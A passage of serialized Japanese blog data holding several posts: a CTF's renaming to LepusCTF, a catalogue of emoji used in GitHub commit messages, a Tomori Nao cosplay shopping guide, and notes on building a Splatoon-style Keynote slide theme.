2015終了後、反省会をオンラインで開催していた頃に「TDUCTF」という名称を変更しようという話が立ち上がり、\nよくわらかないテンションでドメインから何から整え新名称に改称しました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">TDUCTFからLepusCTFの移行で面白いのは4&#10;・新名称考案&#10;・サーバー確保&#10;・ドメイン取得&#10;・GitHub移行&#10;・Webサイト作成&#10;・アイコン作成&#10;・Twitter移行&#10;を4時間以内でやったというところ <a href=\"https://twitter.com/hashtag/lepusctf?src=hash\">#lepusctf</a></p>&mdash; 友利奈緒 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/638606548818726912\">2015, 9月 1</a></blockquote> <script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nということなので、今後はTDUCTFあらため、[LepusCTF](http://lepus-ctf.org/)をよろしくお願いします。\n"]}],[0,{"slug":[0,"2015/10/14/emoji-commit-message/"],"data":[0,{"title":[0,"GitHubで絵文字コミットを続けてみて有用だったEmojiまとめ"],"date":[3,"2015-10-14T10:39:47.000Z"],"image":[0,"/assets/images/2015/10/14/emoji-commit-log.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"emoji"],[0,"git"],[0,"github"]]]}],"content":[0,"\n\nみなさんは絵文字コミットというものをご存知でしょうか?\nプロ生い人のサイトでも以下のように紹介されており、知っている人も多いと思いますが、GitHubで絵文字に置換される特定のワードをコミットメッセージに追加し、\nぱっと見でどういった種類の変更があったのかに気づきやすいようにするものです。\n\n[GitHub で絵文字入りコミットメッセージを活用しているプロジェクトを調べてみた \\| プログラミング生放送](http://pronama.azurewebsites.net/2015/06/20/github-emoji-commit-message/)\n\n少し前から興味があったのですが、GitLabやBitBucketでプライベートなリポジトリで開発してるものでは絵文字として表示されないため、なかなか導入する機会がありませんでした。\n先々月にブログで記事にしたKodi用Chinachu PVRクライアントadd-onの作成をパブリックなリポジトリで開発しようと思い立ったとき、\nいい機会だと感じたので初期コミットから絵文字コミットメッセージを導入し始めました。\n\n[mzyy94/pvr.chinachu - GitHub](https://github.com/mzyy94/pvr.chinachu/)\n\nコミットを続けていたら開発版ブランチが100コミットに近づいてきたので、いままで使ってきた絵文字コミットをまとめてみました。\n\n## 目次\n\n\n## 絵文字コミット\n\n### 導入\n\nまず、GitHubでどのような文字列が絵文字に置換されるかですが、インターネット上の対応表を掲載しているサイトを見て対応付けしていました。\nそのなかでも以下のサイトが特に見やすく、選択するとクリップボードにコピーされるので愛用していました。\n\n[Emoji cheat sheet for GitHub, Basecamp and other services](http://www.emoji-cheat-sheet.com/)\n\nGitHubでは、コロンで挟む形で記述した文字列が対応する絵文字に変換されるようになっています。\n絵文字コミットはパッと見て何を指しているかがわかるようにする目的で導入したため、コロンの間の文字列とミスマッチなものもあります。\n反義語になるようなことは避けていますが、理解しがたいものも混ざってしまう点を導入時には覚悟しておかなければなりません。\n\n\n### 一覧\n\n以下のようにして、用いた絵文字を列挙して、どのような用途で使用したかを一覧にまとめました。\n\n```sh\n$ git log --oneline | grep -o ':\\w\\+:' | sort -u\n```\n\n今回のプロジェクトはPVR(Personal Video Recorder:ビデオレコーダー)を中心とするものなので、予約録画や番組視聴に関する絵文字コミットメッセージも多く導入しました。\nそれらに関しては一般的なプロジェクトにはそのままでは利用できないものであるため、末尾にまとめておきます。\n\n#### 一般的な用途\n\n##### バグ関連\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/bug.png\" alt=\"🐛\" width=\"24\" height=\"24\" /> | :bug: | バグFixの時に用いる |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/bangbang.png\" alt=\"‼️\" width=\"24\" height=\"24\" /> | :bangbang: | バグとは言い切れないけど何か悪いものを正しく修正した時 |\n\n##### コメントしづらい変更\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/ok.png\" alt=\"🆗\" width=\"24\" height=\"24\" /> | :ok: | なにかokな変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/cool.png\" alt=\"🆒\" width=\"24\" height=\"24\" /> | :cool: | なにかcoolな変更 |\n\n\n##### ファイル追加・削除・新規作成・移動\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/new.png\" alt=\"🆕\" width=\"24\" height=\"24\" /> | :new: | ファイルの追加。主に新規作成したタイミングで。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/fire.png\" alt=\"🔥\" width=\"24\" height=\"24\" /> | :fire: | ファイルの削除。ソースコードの大半を削除した場合もこれ。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/inbox_tray.png\" alt=\"📥\" width=\"24\" height=\"24\" /> | :inbox_tray: | ファイルの移動。他プロジェクトのファイルを持ってきた時とか|\n\n\n\n##### ドキュメントやライセンス関連\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/copyright.png\" alt=\"©\" width=\"24\" height=\"24\" /> | :copyright: | ライセンスの変更や追加。ライセンスファイルに関して。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/globe_with_meridians.png\" alt=\"🌐\" width=\"24\" height=\"24\" /> | :globe_with_meridians: | 多言語対応ツールの設定や言語リソースの変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/pencil.png\" alt=\"✏️\" width=\"24\" height=\"24\" /> | :pencil: | ドキュメントの変更。主にREADME |\n\n##### ビルドやデプロイ関係\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/wrench.png\" alt=\"🔧\" width=\"24\" height=\"24\" /> | :wrench: | ビルドやデプロイの全般的な変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/package.png\" alt=\"📦\" width=\"24\" height=\"24\" /> | :package: | パッケージングに関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/apple.png\" alt=\"🍎\" width=\"24\" height=\"24\" /> | :apple: | OS XやiOSなどApple製品を対象とするのビルド関連変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/computer.png\" alt=\"💻\" width=\"24\" height=\"24\" /> | :computer: | Deploy tagert system. Some processor |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/space_invader.png\" alt=\"👾\" width=\"24\" height=\"24\" /> | :space_invader: | Android向けのビルド関連変更 |\n\n\n##### Gitバージョン管理\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrow_right_hook.png\" alt=\"↪️\" width=\"24\" height=\"24\" /> | :arrow_right_hook: | ブランチをマージしたり、Pull-Requestを取り込んだ時 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/up.png\" alt=\"🆙\" width=\"24\" height=\"24\" /> | :up: | プロダクトのバージョンアップ。git tagとする時 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/no_entry_sign.png\" alt=\"🚫\" width=\"24\" height=\"24\" /> | :no_entry_sign: | トラッキングしない時に。.gitignoreの変更時 |\n\n##### 依存関係\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrow_heading_up.png\" alt=\"⤴️\" width=\"24\" height=\"24\" /> | :arrow_heading_up: | 依存ライブラリや依存ツールのバージョンをあげる時。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrow_down.png\" alt=\"⤵️\" width=\"24\" height=\"24\" /> | :arrow_down: | 依存ライブラリや依存ツールのバージョンを下げた時。 |\n\n\n##### 数回使用したものの、ボツになったやつ\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrows_counterclockwise.png\" alt=\"🔄\" width=\"24\" height=\"24\" /> | :arrows_counterclockwise: | データのリロードに関する時など。長くて使いづらい。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrow_upper_left.png\" alt=\"↖️\" width=\"24\" height=\"24\" /> | :arrow_upper_left: | バージョニングに関する変更とか。出番がもうない。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/arrow_upper_right.png\" alt=\"↗️\" width=\"24\" height=\"24\" /> | :arrow_upper_right: | なにかイケてる修正した時に使った。今は:ok:とか:cool:が担当|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/warning.png\" alt=\"⚠️\" width=\"24\" height=\"24\" /> | :warning: | Includeガード関連。こんないい絵文字をこう使ったのは痛いミス|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/point_left.png\" alt=\"👈\" width=\"24\" height=\"24\" /> | :point_left: | コメント関連に使用した。再度登場する機会がない。 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/bomb.png\" alt=\"💣\" width=\"24\" height=\"24\" /> | :bomb: | リモートのファイル削除に関して。たぶん疲れてたんだと思う。|\n\n\n\n##### Chinachu PVR クライアント向けの独自記号\n\n| 絵文字| 絵文字置換文字列 | 用途 |\n|:-----:|:--------------------------:|:----------------------------------------------------------|\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/1234.png\" alt=\"🔢\" width=\"24\" height=\"24\" /> | :1234: | テレビのチャンネルに関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/city_sunrise.png\" alt=\"🌇\" width=\"24\" height=\"24\" /> | :city_sunrise: | 録画データのサムネイルに関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/hourglass.png\" alt=\"⌛️\" width=\"24\" height=\"24\" /> | :hourglass: | 録画予約に関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/vhs.png\" alt=\"📼\" width=\"24\" height=\"24\" /> | :vhs: | 録画済み番組に関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/red_circle.png\" alt=\"🔴\" width=\"24\" height=\"24\" /> | :red_circle: | テレビ番組の録画に関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/tv.png\" alt=\"📺\" width=\"24\" height=\"24\" /> | :tv: | リアルタイム視聴に関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/page_facing_up.png\" alt=\"📄\" width=\"24\" height=\"24\" /> | :page_facing_up: | ログ出力に関する変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/repeat.png\" alt=\"🔁\" width=\"24\" height=\"24\" /> | :repeat: | サーバーのデータを定期的に取得する部分の変更 |\n|<img src=\"https://raw.githubusercontent.com/arvida/emoji-cheat-sheet.com/master/public/graphics/emojis/clock1.png\" alt=\"🕐\" width=\"24\" height=\"24\" /> | :clock1: | 録画予約に関する変更のコミットで間違えて使った。 |\n\n\n### まとめ\n\n視認性は向上するも、絵文字一文字に対して多いと20文字以上もコミットメッセージを消費してしまうのが難点。\nまた、「窓」の絵文字がないため、Windows向けバイナリを作成する機運が高まらないのも問題だと感じました(要出典)。\n\nしかし視認性が向上した利点は大きく、GitHubでのコミットログ一覧を流し見するだけで目的のコミットを見つけることができる点はとても良いことであると感ます。\n"]}],[0,{"slug":[0,"2015/12/01/tomorinao/"],"data":[0,{"title":[0,"友利奈緒「いままでとこれから」"],"date":[3,"2015-12-01T10:33:05.000Z"],"image":[0,"/assets/images/2015/12/01/tomorinao.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"tomorinao"]]]}],"content":[0,"\n友利奈緒のみなさま、おひさしぶりです。友利奈緒です。\n夏の友利奈緒展の時はとても笑顔で皆さん元気でしたがいかがお過ごしでしょうか。\n\nCharlotteの放映が終わり2ヶ月が経ち、友利奈緒の各家庭にもCharlotte Blu-ray 3巻が届いているかと思います。\nテレビでは見られなかったあんな友利奈緒やこんな友利奈緒をキャラクターコメンタリーで堪能いただいているかと思いますが、そんなかわいい友利奈緒を見ていて想うことはありませんか?\n\n\n\n**友利奈緒になりたい**\n\n\nそんな友利奈緒の、友利奈緒による、友利奈緒のための[友利奈緒 Advent Calendar](http://www.adventar.org/calendars/779) 1日目の記事は、友利奈緒の「いままでとこれから」です。\n\n\n## 目次\n\n\n\n\n\n(記事中の友利奈緒画像はCharlotte原画展で撮影したものになります。)\n\n## 友利奈緒になるには (いままで)\n\n友利奈緒になるためのいままでの記録です。\n\n### 星ノ海学園女子制服\n\n\n\n友利奈緒になるためにまず必要なものとして、彼女が生徒会長を務める星ノ海学園の女子制服があげられます。\n星ノ海学園女子制服は公式ライセンス商品として販売されており以下のサイトからオンラインで購入できます。\nつい先日までLサイズが売り切れていましたが、追加生産があったのか、12/1 19:00現在で在庫ありとなっています。\n\n[Charlotte 星ノ海学園制服(女子冬服) コスプレ衣装 \\| ACOSオンラインショップ](https://www.acos.me/products/detail.php?product_model_id=12522)\n\nオンラインで購入するのはちょっと気がひけるという友利奈緒さんは、秋葉原や池袋にあるacosの店舗に足を運んで実物を確認してみるといいかもしれません。\n\nちなみにLサイズは身長163cmの男性に丁度いい大きさでした。参考までに。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://t.co/y2yns2RgMP\">pic.twitter.com/y2yns2RgMP</a></p>&mdash; 【公式】友利奈緒 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/669537697606664192\">2015, 11月 25</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\n\n### ハイソックス\n\n\n\n友利奈緒の履いてるハイソックスは黒系の濃いブラウンもしくはネイビーです。何度もコマ送りして製品の特定を試みたのですが、これだと断定できるものはなく、結果一般的なハイソックスを購入することにしました。\nおそらく友利奈緒自身もハイソックスにこだわりはないはずです。\n\n[(プレイボーイ)PLAYBOY PLAYBOY ワンポイント スクールソックス 36cm丈 3722344 82 ネイビー×ブルー 23-25cm : 服&ファッション小物通販 \\| Amazon.co.jp](http://www.amazon.co.jp/dp/B011BRVFCC/?tag=mzyy-22)\n\n始め28cm丈を購入したのですが、少々短く、贈り物でいただいた36cm丈だと丁度よくフィットし、より友利奈緒に近づけた気持ちになります。\n\n\n### きれいな脚\n\n人を蹴り飛ばしてくれるきれいな脚に惹かれて友利奈緒になった方も多いかと思います。\nあのきれいな脚を維持するには永久脱毛を行うのが確実ですが、そうはいかない友利奈緒もいるかとおもいます。\nそんな時にオススメなのが、除毛クリーム。\n\n[Amazon.co.jp: ヴィート バスタイム 除毛クリーム 敏感肌用 150g (Veet In Shower Hair Removal Cream Sensitive 150g): ヘルス&ビューティー](http://www.amazon.co.jp/gp/product/B0036ZBRVC/?tag=mzyy-22)\n\n友利奈緒の肌は敏感なのでこの敏感肌用がオススメであると、友利奈緒の友人に聞きました。\n弱酸性のボディーソープしか使えない友利奈緒が実際に使ってみたところ、特に肌が荒れることも発疹ができることもなく、きれいな友利奈緒の脚になりました。\n\n\n\n### 輝かしい碧眼\n\n「あの瞳すき。」友利奈緒を見ていてそう思うこともあったでしょう。\n一般にこの時間軸の日本人は碧い瞳を生まれながらに備えていることはないため、ここはカラーコンタクトを用います。\nこれも友利奈緒の友人からのアドバイスで、以下のカラーコンタクトがいいのではないかとおすすめをいただきました。\n\n[クオリテ ワンデー ベーシック ブルーサファイア(10枚,度無し): カラコンコスプレウィッグ 通販の【エアリー】V系・コスプレ](http://airily.jp/shop/g/g4537675938001/)\n\nカラーコンタクトをつけるに当たって、一度眼科に行ってベースカーブや装着に関して相談をしてから友利奈緒を目指しましょう。\n\n\n### 美しい銀髪\n\n\n友利奈緒のかわいいポイントとして注目される美しい銀髪。\n需要が高く複数の供給を受けているのですが、こればかりは実際に見て美しさを確認して購入して欲しいので、おすすめを紹介することはできません。\n\n\n### 履き慣れたブーツ\n\n暖かそうな日でも毎日履いている革製(おそらく)のブーツ。友利奈緒になるために毎日履きたいのですが、コスプレ用の靴しか見つからず、\nしっかりとした作りの友利奈緒ブーツが購入できずにいます。\n\n困っている友利奈緒(複数形)のためにも、**有力な情報を求めています。**\nよろしくお願いいたします。\n\n\n### ビデオカメラ・携帯電話・MP3プレイヤー\n\nこちらはまだ買い揃えてないのですが、商品の特定がなされています。\n\n#### ビデオカメラ\n\n\n\nビデオカメラはSONYの DCR-DVD508と酷似しているとの報告がちらほら上がっています。\n\n[DCR-DVD508 \\| 機種別サポート \\| デジタルビデオカメラ ハンディカム \\| サポート・お問い合わせ \\| ソニー](https://www.sony.jp/support/handycam/products/dcr-dvd508/)\n\nAmazonでの相場が5万円を超えているため、軽い気持ちでは購入できず、現在検討中です。\n\n[Amazon.co.jp|ソニー デジタルビデオカメラレコーダー(DVD) DCR-DVD508|カメラ通販](http://www.amazon.co.jp/dp/B000MRAAXI?tag=mzyy-22)\n\n\n#### 携帯電話\n\n\n\n携帯電話はKDDIのIS12T。友利奈緒はパープルカラーを持っていますが、公式ラインナップにはありません。\n\n[Windows (R) Phone(ウィンドウズフォン) IS12T \\| 製品アーカイブ \\| au](http://www.au.kddi.com/mobile/product/archive/smartphone/dp/is12t/)\n\n\n#### MP3プレイヤー\n\n\n\nMP3プレイヤーは生産終了品で、加えてパープルカラーは未発売のため、揃えるのは少々難があります。\n[MG-G508(生産完了商品)|ポータブルオーディオ|オーディオ|生産完了商品一覧|商品情報|株式会社JVCケンウッド](http://www.kenwood.com/jp/products/audio/personal/mg_g508/index_end.html)\n\n[Amazon.co.jp: KENWOOD MG-G508](http://www.amazon.co.jp/s/ref=nb_sb_noss?field-keywords=KENWOOD+MG-G508&tag=mzyy-22)\n\n\n\n\n## 友利奈緒としての生活 (これから)\n\n2015年12月は我ら友利奈緒関連のイベントが沢山あります。一つ一つ細かく説明はできないので、詳しくはリンクを辿ってみてください。\n\n\n### 12/5-6 SECCONオンライン予選 チームTomoriNao\n\n[SECCON 2015 オンライン予選(24時間CTF)開催 \\| SECCON 2015 NEWS](http://2015.seccon.jp/seccon2015-online-ctf.html)\n\n\n### 12/8-20 展示会 「Charlotte ―いままでの記憶、これからの記録展」\n\n[新着情報 - NEWS \\| 株式会社ピーエーワークス 公式サイト - P.A.WORKS Co.,Ltd. Web Site](http://pa-works.jp/news/)\n\n\n### 12/13 Charlotte設定資料集&原画集セット発売\n\n[ショップ - SHOPPING \\| 株式会社ピーエーワークス 公式サイト - P.A.WORKS Co.,Ltd. Web Site](http://pa-works.jp/shopping/index.html#charlotte_yoyaku_set)\n\n\n### 12/23 Charlotte Blu-ray 4巻発売\n\n[Blu-ray&DVD \\| TVアニメ「Charlotte(シャーロット)」公式サイト](http://charlotte-anime.jp/bd-dvd/04.html)\n\n### 12/23-26 Charlotteキャラクターケーキ発売\n\n[Charlotte(シャーロット)2015年限定クリスマスケーキ【限定クリスマスプレート付属】 |アニメ×スイーツ キャラクターケーキ専門店「あにしゅが」](http://animesugar.jp/item/112.html)\n\n\n## まとめ\n\nEnjoy友利奈緒!\n"]}],[0,{"slug":[0,"2015/12/08/packetoon-after-that/"],"data":[0,{"title":[0,"実践イカパケット解析のスライドテーマ"],"date":[3,"2015-12-07T17:06:35.000Z"],"image":[0,"/assets/images/2015/12/08/slidoon.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"misc"]]],"tags":[1,[[0,"splatoon"],[0,"packetoon"],[0,"ika"]]]}],"content":[0,"\n\n\nこの記事は[Splatoon Advent Calendar](http://www.adventar.org/calendars/801)の8日目の記事です。\n\n\nこんにちは、ウデマエA+のボーイです。昨日の[mzsmさんの記事](http://mzsm.me/2015/12/07/splatoon-advent-calendar-2015-ikadenwa-webrtc/)末尾にこんなことが書いてありました。\n\n> 明日のSplatoon Advent Calendarは、Wii Uを柚子胡椒まみれにして故障させてしまうという不運にもめげずにイカパケット解析をした話をみっきー氏が書いてくれるようです。\n\n\n大変にハードルを上げるバトンタッチを受けて少々困惑気味です。\nというのも、イカパケット解析の話をするという内容で<del>煽りイカ</del>紹介していただいたのですが、いろいろあって今回イカパケット解析の話は出てこないからです。\n期待していたみなさま、ごめんなさい。\n\n実践イカパケット解析が何かわからない方々へ、詳しくはイカのスライドをご覧になってください。\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/key/41a5AKyCSyVAid\" width=\"595\" height=\"485\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/packetoon\" title=\"実践イカパケット解析\" target=\"_blank\">実践イカパケット解析</a> </strong> from <strong><a href=\"//www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\nこのスライドを公開したところ、各所にていろいろな反響がありました。\n技術的な批評がたくさんあるなか、非技術的な反応もありました。\nその中でも多かったのがイカのような反応です。\n\n> 恐ろしくスライドのデザインクオリティが高いw\n\n> このスライドテンプレートほしい。\n\n是非ともこの期待に応えたいと思ったので、Splatoonっぽいスライドテーマを作成し、公開しました。\n\n\n## 目次\n\n\n## Splatoonっぽいスライドテーマ\n\nイカのリポジトリにて公開しています。\n\n[**mzyy94/Slidoon**](https://github.com/mzyy94/Slidoon)\n\n主にOS XでKeynoteを使ってスライドを作っているため、Advent Calendar 8日目までにはKeynote向けのテーマしか作成できていませんが、\nみなさんの反応によってはPowerPoint用のものも作成しようかと思っております。\n\n### Slidoonテーマの作成について\n\n「スライドテーマ公開しました。」だけではAdvent Calendarの記事としてあまりにも内容が無さすぎるため、Splatoonっぽいスライドテーマ作成についていろいろと述べていきいます。\n\n#### Splatoonっぽい色\n\n##### 背景色\n\nSplatoonはあの鮮やかなインクの色が楽しさを引き立てている重要な役割を担っています。\nだからと言って、スライド全体をSplatoonのゲームパッケージのようなオレンジと青のようなビビッドな色で染めるのも聴講者の目を痛める原因となるだけなので、落ち着いた色をベースに使う必要があります。\nどこかにSplatoonっぽいけど落ち着いた色を使って見せるよい参考資料はないかと探していたところ、任天堂のSplatoon公式サイトに行き当たりました。\n\n[Splatoon(スプラトゥーン) \\| ナワバリバトル](https://www.nintendo.co.jp/wiiu/agmj/battle/index.html)\n\nトップページはパッケージと同じオレンジと青の鮮やかな色使いで注目させるようになっていましたが、説明の多いナワバリバトルの紹介ページでは、グレーの落ち着いた背景を用いていました。\n一目見て、彩度の高い色を使っているわけではないのに、ものすごくSplatoonをイメージするのにしっくりくると感じました。\nそれもそのはず、インクを塗る前のステージの地面は大抵暗い色であるからです(マヒマヒを除く)。\n\nこれは使えるぞ!と思い、カラーピッカーを取り出し、採色しました。\nRGBで、ベースのグレーは #2A2A2A、水玉模様のグレーは #212121であることがわかりました。\n\n手作業で楕円の図形を追加してはサイズを調整し、カラーを #212121 にすることでなんとか背景を作り上げることができました。\n一見スライドの背景は一枚のイラストに見えますが、実はグループ化した楕円の集まりなんです。\n\n\n\n\n##### インクの色\n\nベースが落ち着いた色であるからには、強調すべきところに鮮やかインクカラーを用いたいところです。\nそして、どんな色が使われているか知るるために、実際のゲーム画面から採色してみたいと思いました。\nそんなときに役立ったのが、[一昨日のSplatoon Advent Calendarの記事](https://blog.fetus.jp/201512/30.html)で紹介のあった、[stat.ink](https://stat.ink/)です。\nSplatoonの戦績を集計するのに加えて、最終結果の画面のキャプチャ画像も一緒に登録できているため、[自分の結果](https://stat.ink/u/mzyy94)をひとつずつチェックしがてらカラーピッカー片手に色を集めていきます。\n随分とたくさんの色があつまったのですが、Keynoteのカラーテーマの登録数はベース6色バリエーション4パターンの24色を登録するようにできていたので、似た色を排除、足りないバリエーションの色を自分で考えて24色揃えました。\nまた、グラデーションも扱えるようになっていたので、24色からハイカラになるようなグラデーションの組み合わせを6種作成しました。\n\n\n\nどうやってカラーテーマの色を変更するのかがわからず長い時間躓いていましたが、現在の塗りつぶしの部分から下のカラーパレットにドラッグアンドドロップすると変えることができました。\n\n#### イラスト\n\n##### イカのイラスト\n\nSplatoon = イカ なので、スライドに刺激を加えるためにイカのイラストが使いたい欲がでてきました。\nしかしながらデザインセンスが皆無なため、最初に作成したイラストは散々な出来でした。(Slidoonのika4フォルダに†闇†が潜んでる)\n\nひとまず公式サイトなどで大体のイカの形を把握し、デザインセンスがなくても誤魔化せるようベクター形式で作成することにしました。\nといってもドローイングソフトウェアを持っていなかったので、[Autodesk Graphic](https://geo.itunes.apple.com/jp/app/graphic/id404705039?mt=12&at=1l3v4mQ)を購入しました(3,600円)。\n\n高価なソフトウェアを買ったおかげか、いくらかましなイラストができたので、実践イカパケット解析のスライドに散りばめる形で利用しました。\n使いたい人がいるかどうかはわかりませんが、Slidoonのsquid8フォルダにPNG画像があります。\n\n\n##### インクの飛び散り\n\nインクの飛び散りイラストは絶対にどこかで使いたい!と思っていたのでスライド作成に必須のイラストでした。\n実践イカパケット解析のスライドの箇条書き部分に登場しています。\n\nデザインセンスがないため最初はCCライセンスのものを探してきて利用していたのですが、せっかくテーマを作成するのだからライセンスが混ざるのは管理しにくいと思ったので、この記事を執筆開始する前に3時間かけて自作しました。\n3時間かけて出来上がったのがイカのイラストです。\n\n\n\n「は?こんなイラスト作るのに3時間もかかったの?」 とお思いもしれませんが、すいません、デザインセンスが皆無なのでほんとに3時間かかりました。\n\n出来上がったこのインク飛び散りイラストは、Slidoonの箇条書き部分に適用しています。\n\n\n##### Finishの帯\n\n実践イカパケット解析の発表の際は、最後のスライドを説明し終えたらゲームさながらの左右からFinish帯が張られるアニメーションで終了する凝ったギミックを導入していました。\nこのFinishのイラストも作成したものです。\nといっても「Finish!」の文字デザインまで含めてではなく、文字はProject Paintballのフォントを利用しました。\n\n[プロジェクト・ペイントボール スプラトゥーン風アルファベットフォント](http://fizzystack.web.fc2.com/paintball-ja.html)\n\nこの利用規約にもあるように、Inkscapeでの描き起しであるものの、Project Paintballのフォントは任天堂の著作物のコピーに該当する可能性があるため、非営利目的のライセンスとなっており、同フォントを利用して作成したFinishの帯に関しても非営利での利用を強制させられます。\nなのでSlidoonのライセンスも[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.ja)になっていますが、このバナーを削除いただければ[CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/deed.ja)としてお使いいただけます。\n\n\n#### フォント\n\n実践イカパケット解析のスライドでは英数字記号のフォントに[Project Paintball](http://fizzystack.web.fc2.com/paintball-ja.html)、ひらがなとかたかなに[イカモドキ](http://aramugi.com/?page_id=807)、漢字に[Noto Sans CJK JP](https://www.google.com/get/noto/)の極太字を利用しています。\nライセンスの都合でこれらのフォントを同梱できないため、SlidoonではフォントをNoto Sans CJK JPを導入してある環境向けにテーマのベースフォントを指定しています。\n\n実際に実践イカパケット解析のスライドもNoto Sans CJK JPをベースとしたフォントテーマで文字を入力し、ひらがなかたかなの部分を手動でイカモドキに変更、英数字記号を手動でProject Paintballに変更する形で作成してきました。\nそのため、文字にこだわる方はそのようにして作成していただくか、Fontforge等で上記3フォントを合成したフォントを用いるなりで対処してください。\n\nまた、Splatoonで実際に使われているフォントは取扱説明書によると、フォントワークス株式会社のフォントを利用しているようで、探してみたところロウディEBを利用しているようでした。\n\n[ロウディ EB \\| キャッチ \\| 書体を選ぶ \\| FONTWORKS](http://fontworks.co.jp/font/catch/rowdy/EB.html)\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p lang=\"ja\" dir=\"ltr\">SplatoonのフォントはフォントワークスのロウディEBか&#10;<a href=\"https://t.co/KjnMGhtsm6\">https://t.co/KjnMGhtsm6</a> <a href=\"https://t.co/2MYBNp1CVm\">pic.twitter.com/2MYBNp1CVm</a></p>&mdash; 【ピュア】友利奈緒 (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/662520841326845952\">2015, 11月 